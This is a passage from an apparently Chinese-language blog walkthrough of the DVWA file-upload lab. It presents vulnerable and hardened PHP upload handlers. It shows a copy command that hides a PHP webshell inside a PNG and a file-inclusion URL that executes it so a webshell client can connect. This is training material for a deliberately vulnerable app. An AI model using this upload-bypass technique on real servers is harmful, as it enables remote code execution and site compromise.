</span></span><span class="line"><span class="cl">	<span class="nv">$uploaded_ext</span>  <span class="o">=</span> <span class="nx">substr</span><span class="p">(</span> <span class="nv">$uploaded_name</span><span class="p">,</span> <span class="nx">strrpos</span><span class="p">(</span> <span class="nv">$uploaded_name</span><span class="p">,</span> <span class="s1">&#39;.&#39;</span> <span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$uploaded_size</span> <span class="o">=</span> <span class="nv">$_FILES</span><span class="p">[</span> <span class="s1">&#39;uploaded&#39;</span> <span class="p">][</span> <span class="s1">&#39;size&#39;</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$uploaded_tmp</span>  <span class="o">=</span> <span class="nv">$_FILES</span><span class="p">[</span> <span class="s1">&#39;uploaded&#39;</span> <span class="p">][</span> <span class="s1">&#39;tmp_name&#39;</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Is it an image?
</span></span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span> <span class="p">(</span> <span class="nx">strtolower</span><span class="p">(</span> <span class="nv">$uploaded_ext</span> <span class="p">)</span> <span class="o">==</span> <span class="s2">&#34;jpg&#34;</span> <span class="o">||</span> <span class="nx">strtolower</span><span class="p">(</span> <span class="nv">$uploaded_ext</span> <span class="p">)</span> <span class="o">==</span> <span class="s2">&#34;jpeg&#34;</span> <span class="o">||</span> <span class="nx">strtolower</span><span class="p">(</span> <span class="nv">$uploaded_ext</span> <span class="p">)</span> <span class="o">==</span> <span class="s2">&#34;png&#34;</span> <span class="p">)</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="cl">		<span class="p">(</span> <span class="nv">$uploaded_size</span> <span class="o">&lt;</span> <span class="mi">100000</span> <span class="p">)</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="cl">		<span class="nx">getimagesize</span><span class="p">(</span> <span class="nv">$uploaded_tmp</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="c1">// Can we move the file to the upload folder?
</span></span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span> <span class="o">!</span><span class="nx">move_uploaded_file</span><span class="p">(</span> <span class="nv">$uploaded_tmp</span><span class="p">,</span> <span class="nv">$target_path</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="c1">// No
</span></span></span><span class="line"><span class="cl">			<span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="c1">// Yes!
</span></span></span><span class="line"><span class="cl">			<span class="nv">$html</span> <span class="o">.=</span> <span class="s2">&#34;&lt;pre&gt;</span><span class="si">{</span><span class="nv">$target_path</span><span class="si">}</span><span class="s2"> succesfully uploaded!&lt;/pre&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="c1">// Invalid file
</span></span></span><span class="line"><span class="cl">		<span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;pre&gt;Your image was not uploaded. We can only accept JPEG or PNG images.&lt;/pre&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">    
</span></span></span><span class="line"><span class="cl"><span class="err">    
</span></span></span><span class="line"><span class="cl"><span class="err">    
</span></span></span><span class="line"><span class="cl"><span class="err">    
</span></span></span><span class="line"><span class="cl"><span class="err">&lt;?php
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">// 检查是否设置了 &#39;Upload&#39; POST 参数，表明文件上传表单已被提交
</span></span></span><span class="line"><span class="cl"><span class="err">if( isset( $_POST[ &#39;Upload&#39; ] ) ) {
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">    // 设置文件上传的目标目录，结合DVWA_WEB_PAGE_TO_ROOT常量定位到uploads文件夹
</span></span></span><span class="line"><span class="cl"><span class="err">    $target_path  = DVWA_WEB_PAGE_TO_ROOT . &#34;hackable/uploads/&#34;;
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">    // 从上传文件名中提取文件的基本名称，包括其扩展名，用于构建完整的目标文件路径
</span></span></span><span class="line"><span class="cl"><span class="err">    $target_path .= basename( $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ] );
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">    // 获取上传文件的详细信息
</span></span></span><span class="line"><span class="cl"><span class="err">    $uploaded_name = $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ];       // 原始文件名
</span></span></span><span class="line"><span class="cl"><span class="err">    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, &#39;.&#39; ) + 1); // 文件扩展名，通过查找最后一个点的位置来提取
</span></span></span><span class="line"><span class="cl"><span class="err">    $uploaded_size = $_FILES[ &#39;uploaded&#39; ][ &#39;size&#39; ];       // 文件大小（字节）
</span></span></span><span class="line"><span class="cl"><span class="err">    $uploaded_tmp  = $_FILES[ &#39;uploaded&#39; ][ &#39;tmp_name&#39; ];    // 上传文件的临时存储路径
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">    // 检查文件扩展名是否为允许的图像格式（不区分大小写），文件大小是否小于100KB，并确认是有效的图像文件
</span></span></span><span class="line"><span class="cl"><span class="err">    if( ( strtolower( $uploaded_ext ) == &#34;jpg&#34; || strtolower( $uploaded_ext ) == &#34;jpeg&#34; || strtolower( $uploaded_ext ) == &#34;png&#34; ) &amp;&amp;
</span></span></span><span class="line"><span class="cl"><span class="err">        ( $uploaded_size &lt; 100000 ) &amp;&amp;
</span></span></span><span class="line"><span class="cl"><span class="err">        getimagesize( $uploaded_tmp ) ) { // 使用getimagesize()确保文件是可识别的图像
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">        // 尝试将上传的临时文件移动到指定的目标路径
</span></span></span><span class="line"><span class="cl"><span class="err">        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
</span></span></span><span class="line"><span class="cl"><span class="err">            // 如果文件未能成功移动（可能因权限问题或路径错误），输出错误信息
</span></span></span><span class="line"><span class="cl"><span class="err">            $html .= &#39;&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;&#39;;
</span></span></span><span class="line"><span class="cl"><span class="err">        }
</span></span></span><span class="line"><span class="cl"><span class="err">        else {
</span></span></span><span class="line"><span class="cl"><span class="err">            // 文件成功上传，输出包含文件路径的成功信息
</span></span></span><span class="line"><span class="cl"><span class="err">            $html .= &#34;&lt;pre&gt;{$target_path} successfully uploaded!&lt;/pre&gt;&#34;;
</span></span></span><span class="line"><span class="cl"><span class="err">        }
</span></span></span><span class="line"><span class="cl"><span class="err">    }
</span></span></span><span class="line"><span class="cl"><span class="err">    else {
</span></span></span><span class="line"><span class="cl"><span class="err">        // 如果文件扩展名不符、过大或不是有效的图像文件，输出错误信息
</span></span></span><span class="line"><span class="cl"><span class="err">        $html .= &#39;&lt;pre&gt;Your image was not uploaded. We can only accept JPEG or PNG images.&lt;/pre&gt;&#39;;
</span></span></span><span class="line"><span class="cl"><span class="err">    }
</span></span></span><span class="line"><span class="cl"><span class="err">}
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">?&gt;
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>getimagesize()函数，用于获取图像文件的大小以及相关信息。该函数会检查图片文件头，如果不存在或不是一个有效的图像文件则报错。</p>
<p>1、我们可以准备一张图片和一句话木马的文件，通过 <code>copy</code> 命令将两个文件合并成一个文件。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331841.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331841.png" 
             alt="image-20240623155013786" 
              
             loading="lazy"
        />
    </a>
</div></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">copy muma.png/b + muma.php/a 1.png
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331842.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331842.png" 
             alt="屏幕截图 2024-06-23 155102" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331843.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331843.png" 
             alt="image-20240623155320667" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>文件上传成功</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331844.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331844.png" 
             alt="image-20240623155452622" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>2、但此时2.jpg是个图像文件，无法使用蚁剑连接。我们需要将2.jpg作为php文件执行，使用文件包含漏洞( File Inclusion)，构造payload。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">dvwa</span><span class="o">/</span><span class="n">vulnerabilities</span><span class="o">/</span><span class="n">fi</span><span class="o">/</span><span class="err">?</span><span class="n">page</span><span class="o">=</span><span class="n">file</span><span class="p">:</span><span class="o">///</span><span class="n">D</span><span class="p">:</span>\<span class="n">phpstudy_pro</span>\<span class="n">WWW</span>\<span class="n">DVWA</span><span class="o">-</span><span class="n">master</span>\<span class="n">hackable</span>\<span class="n">uploads</span>\<span class="mf">1.</span><span class="n">png</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331845.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165331845.png" 
             alt="image-20240623155359236" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h2 id="impossible">Impossible</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span> <span class="nx">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;Upload&#39;</span> <span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// Check Anti-CSRF token
</span></span></span><span class="line"><span class="cl">	<span class="nx">checkToken</span><span class="p">(</span> <span class="nv">$_REQUEST</span><span class="p">[</span> <span class="s1">&#39;user_token&#39;</span> <span class="p">],</span> <span class="nv">$_SESSION</span><span class="p">[</span> <span class="s1">&#39;session_token&#39;</span> <span class="p">],</span> <span class="s1">&#39;index.php&#39;</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// File information
</span></span></span><span class="line"><span class="cl">	<span class="nv">$uploaded_name</span> <span class="o">=</span> <span class="nv">$_FILES</span><span class="p">[</span> <span class="s1">&#39;uploaded&#39;</span> <span class="p">][</span> <span class="s1">&#39;name&#39;</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$uploaded_ext</span>  <span class="o">=</span> <span class="nx">substr</span><span class="p">(</span> <span class="nv">$uploaded_name</span><span class="p">,</span> <span class="nx">strrpos</span><span class="p">(</span> <span class="nv">$uploaded_name</span><span class="p">,</span> <span class="s1">&#39;.&#39;</span> <span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$uploaded_size</span> <span class="o">=</span> <span class="nv">$_FILES</span><span class="p">[</span> <span class="s1">&#39;uploaded&#39;</span> <span class="p">][</span> <span class="s1">&#39;size&#39;</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$uploaded_type</span> <span class="o">=</span> <span class="nv">$_FILES</span><span class="p">[</span> <span class="s1">&#39;uploaded&#39;</span> <span class="p">][</span> <span class="s1">&#39;type&#39;</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$uploaded_tmp</span>  <span class="o">=</span> <span class="nv">$_FILES</span><span class="p">[</span> <span class="s1">&#39;uploaded&#39;</span> <span class="p">][</span> <span class="s1">&#39;tmp_name&#39;</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Where are we going to be writing to?
</span></span></span><span class="line"><span class="cl">	<span class="nv">$target_path</span>   <span class="o">=</span> <span class="nx">DVWA_WEB_PAGE_TO_ROOT</span> <span class="o">.</span> <span class="s1">&#39;hackable/uploads/&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="c1">//$target_file   = basename( $uploaded_name, &#39;.&#39; . $uploaded_ext ) . &#39;-&#39;;
</span></span></span><span class="line"><span class="cl">	<span class="nv">$target_file</span>   <span class="o">=</span>  <span class="nx">md5</span><span class="p">(</span> <span class="nx">uniqid</span><span class="p">()</span> <span class="o">.</span> <span class="nv">$uploaded_name</span> <span class="p">)</span> <span class="o">.</span> <span class="s1">&#39;.&#39;</span> <span class="o">.</span> <span class="nv">$uploaded_ext</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$temp_file</span>     <span class="o">=</span> <span class="p">(</span> <span class="p">(</span> <span class="nx">ini_get</span><span class="p">(</span> <span class="s1">&#39;upload_tmp_dir&#39;</span> <span class="p">)</span> <span class="o">==</span> <span class="s1">&#39;&#39;</span> <span class="p">)</span> <span class="o">?</span> <span class="p">(</span> <span class="nx">sys_get_temp_dir</span><span class="p">()</span> <span class="p">)</span> <span class="o">:</span> <span class="p">(</span> <span class="nx">ini_get</span><span class="p">(</span> <span class="s1">&#39;upload_tmp_dir&#39;</span> <span class="p">)</span> <span class="p">)</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$temp_file</span>    <span class="o">.=</span> <span class="nx">DIRECTORY_SEPARATOR</span> <span class="o">.</span> <span class="nx">md5</span><span class="p">(</span> <span class="nx">uniqid</span><span class="p">()</span> <span class="o">.</span> <span class="nv">$uploaded_name</span> <span class="p">)</span> <span class="o">.</span> <span class="s1">&#39;.&#39;</span> <span class="o">.</span> <span class="nv">$uploaded_ext</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Is it an image?
</span></span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span> <span class="p">(</span> <span class="nx">strtolower</span><span class="p">(</span> <span class="nv">$uploaded_ext</span> <span class="p">)</span> <span class="o">==</span> <span class="s1">&#39;jpg&#39;</span> <span class="o">||</span> <span class="nx">strtolower</span><span class="p">(</span> <span class="nv">$uploaded_ext</span> <span class="p">)</span> <span class="o">==</span> <span class="s1">&#39;jpeg&#39;</span> <span class="o">||</span> <span class="nx">strtolower</span><span class="p">(</span> <span class="nv">$uploaded_ext</span> <span class="p">)</span> <span class="o">==</span> <span class="s1">&#39;png&#39;</span> <span class="p">)</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="cl">		<span class="p">(</span> <span class="nv">$uploaded_size</span> <span class="o">&lt;</span> <span class="mi">100000</span> <span class="p">)</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="cl">		<span class="p">(</span> <span class="nv">$uploaded_type</span> <span class="o">==</span> <span class="s1">&#39;image/jpeg&#39;</span> <span class="o">||</span> <span class="nv">$uploaded_type</span> <span class="o">==</span> <span class="s1">&#39;image/png&#39;</span> <span class="p">)</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="cl">		<span class="nx">getimagesize</span><span class="p">(</span> <span class="nv">$uploaded_tmp</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="c1">// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
</span></span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span> <span class="nv">$uploaded_type</span> <span class="o">==</span> <span class="s1">&#39;image/jpeg&#39;</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="nv">$img</span> <span class="o">=</span> <span class="nx">imagecreatefromjpeg</span><span class="p">(</span> <span class="nv">$uploaded_tmp</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="nx">imagejpeg</span><span class="p">(</span> <span class="nv">$img</span><span class="p">,</span> <span class="nv">$temp_file</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="nv">$img</span> <span class="o">=</span> <span class="nx">imagecreatefrompng</span><span class="p">(</span> <span class="nv">$uploaded_tmp</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="nx">imagepng</span><span class="p">(</span> <span class="nv">$img</span><span class="p">,</span> <span class="nv">$temp_file</span><span class="p">,</span> <span class="mi">9</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="nx">imagedestroy</span><span class="p">(</span> <span class="nv">$img</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="c1">// Can we move the file to the web root from the temp folder?
</span></span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span> <span class="nx">rename</span><span class="p">(</span> <span class="nv">$temp_file</span><span class="p">,</span> <span class="p">(</span> <span class="nx">getcwd</span><span class="p">()</span> <span class="o">.</span> <span class="nx">DIRECTORY_SEPARATOR</span> <span class="o">.</span> <span class="nv">$target_path</span> <span class="o">.</span> <span class="nv">$target_file</span> <span class="p">)</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="c1">// Yes!
</span></span></span><span class="line"><span class="cl">			<span class="nv">$html</span> <span class="o">.=</span> <span class="s2">&#34;&lt;pre&gt;&lt;a href=&#39;</span><span class="si">${</span><span class="nv">target_path}${target_file}&#39;&gt;${target_file</span><span class="si">}</span><span class="s2">&lt;/a&gt; succesfully uploaded!&lt;/pre&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="c1">// No
</span></span></span><span class="line"><span class="cl">			<span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="c1">// Delete any temp files
</span></span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span> <span class="nx">file_exists</span><span class="p">(</span> <span class="nv">$temp_file</span> <span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="nx">unlink</span><span class="p">(</span> <span class="nv">$temp_file</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="c1">// Invalid file
</span></span></span><span class="line"><span class="cl">		<span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;pre&gt;Your image was not uploaded. We can only accept JPEG or PNG images.&lt;/pre&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Generate Anti-CSRF token
</span></span></span><span class="line"><span class="cl"><span class="nx">generateSessionToken</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
  </channel>
</rss>
